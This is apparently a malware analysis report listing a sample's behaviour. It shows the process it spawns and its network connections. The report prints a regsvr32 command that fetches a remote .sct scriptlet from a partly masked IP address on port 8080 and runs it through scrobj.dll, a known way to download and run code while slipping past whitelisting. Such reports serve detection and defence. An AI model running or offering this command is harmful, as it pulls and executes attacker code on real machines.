Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c regsvr32 /s /n /u /i:http://14#.#0.54.90:8080/66m78YzwuMg.sct scrobj.dll
Network activity
Connects to
- '14#.#0.54.90':8080
TCP
HTTP GET requests
- http://14#.##.54.90:8080/66m78YzwuMg.sct via 14#.#0.54.90
Miscellaneous
Executes the following
- '<SYSTEM32>\regsvr32.exe' /s /n /u /i:http://14#.#0.54.90:8080/66m78YzwuMg.sct scrobj.dll
